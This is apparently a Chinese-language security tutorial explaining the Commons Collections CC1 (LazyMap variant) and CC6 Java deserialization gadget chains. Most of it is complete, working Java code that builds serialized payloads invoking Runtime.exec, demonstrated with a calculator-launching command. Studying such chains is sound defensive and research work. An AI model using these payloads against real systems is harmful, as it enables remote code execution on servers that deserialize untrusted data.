Java反序列化(3)—— CC链6

写在前面

这个CommonsCollections的反序列化链被命名为1-7,其实是因为ysoserial这个工具中这么写的,并没有特殊的含义。

而这个工具中,它的CC1和前面说的有那么一点点区别

首先,之前定义的ChainedTransformer并没有改变,最后都是调用到ChainedTransformer.transform()。

变的是调用ChainedTransformer.transform()的地方,之前用的是TransformedMap.checkSetValue()。但其实LazyMap.get()也调用了它。

首先了解下LazyMap的使用,它接受一个Map和一个Transformer对象来创建,并在get中调用factory(也就是传入的Transformer对象)的transform方法。

Map<Object, Object> map = new HashMap<>();
Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);
lazyMap.get("skky");

下面就是如何利用它。

CC1补充

利用点就在AnnotationInvocationHandler.invoke中

AnnotationInvocationHandler是一个动态代理类,也就是说调用它代理对象的任何方法都会走到这里来。只要它调用的方法是一个无参方法,同时这个方法不是toString、hashCode、annotationType就行。

测试一下:

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
// 创建一个lazyMap的InvocationHandler
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);

Map mProxy = (Map) Proxy.newProxyInstance(
        lazyMap.getClass().getClassLoader(),
        new Class[]{Map.class},
        invocationHandler
);      // 创建一个动态代理类,代理lazyMap

mProxy.size();  // 调用任何方法,都会执行到lazyMap.get

ok,现在我们就有一个Map对象了,随便调用这个对象的一个无参方法都可以达到我们想到的效果。现在就找一个满足条件的readObject作为入口。

好巧不巧,还是AnnotationInvocationHandler

用刚刚反射出来的构造函数再创建一个AnnotationInvocationHandler,传入我们的动态代理类

Object o = constructor.newInstance(Override.class, mProxy);

serialize(o);
unserialize("ser.bin");

完整代码

package CC1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CC1Re {
    public static void main(String[] args) throws Exception{
        String cmd = "open -a Calculator";
        Class rc = Runtime.class;

        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(rc),
                new InvokerTransformer(
                        "getMethod",
                        new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime", null}
                ),
                new InvokerTransformer(
                        "invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, null}
                ),
                new InvokerTransformer(
                        "exec",
                        new Class[]{String.class},
                        new Object[]{cmd}
                )
        });

        Map<Object, Object> map = new HashMap<>();
        Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);
//        lazyMap.get("skky");

        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        // 创建一个lazyMap的InvocationHandler
        InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);

        Map mProxy = (Map) Proxy.newProxyInstance(
                lazyMap.getClass().getClassLoader(),
                new Class[]{Map.class},
                invocationHandler
        );      // 创建一个动态代理类,代理lazyMap

        Object o = constructor.newInstance(Override.class, mProxy);

//        serialize(o);
        unserialize("ser.bin");

    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

    public static void serialize(Object obj) throws IOException{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
        oos.close();
    }
}

CC6

同样是用LazyMap.get(),不过调用点换成了TiedMapEntry.getValue()

看看TiedMapEntry是什么个事儿,调用点在getValue()

它自身的hashCode调用了getValue

非常简单,测试一下:

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, null);
tiedMapEntry.hashCode();

和URL DNS链一样,我们用HashMap来作为入口类。

HashMap<Object, Object> hMap = new HashMap<>();
hMap.put(tiedMapEntry, null);

serialize(hMap);
unserialize("ser.bin");

还是和URL DNS链一样,它的问题是执行put的时候,会调用一次tiedMapEntry.hashCode();。虽然不会影响反序列化的结果,但如果想要消除它的话。可以在put前将tiedMapEntry的map换成一个空的,之后在用反射改为lazyMap

完整代码

package CC6;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6 {
    public static void main(String[] args) throws Exception{
        String cmd = "open -a Calculator";
        Class rc = Runtime.class;

        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(rc),
                new InvokerTransformer(
                        "getMethod",
                        new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime", null}
                ),
                new InvokerTransformer(
                        "invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, null}
                ),
                new InvokerTransformer(
                        "exec",
                        new Class[]{String.class},
                        new Object[]{cmd}
                )
        });

        Map<Object, Object> map = new HashMap<>();
        Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(new HashMap<>(), null);    // 用一个空的HashMap初始化
//        tiedMapEntry.hashCode();

        HashMap<Object, Object> hMap = new HashMap<>();
        hMap.put(tiedMapEntry, null);

        // 反射修改tiedMapEntry
        Class c =tiedMapEntry.getClass();
        Field mapField = c.getDeclaredField("map");
        mapField.setAccessible(true);
        mapField.set(tiedMapEntry, lazyMap);

//        serialize(hMap);
        unserialize("ser.bin");

    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

    public static void serialize(Object obj) throws IOException{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
        oos.close();
    }
}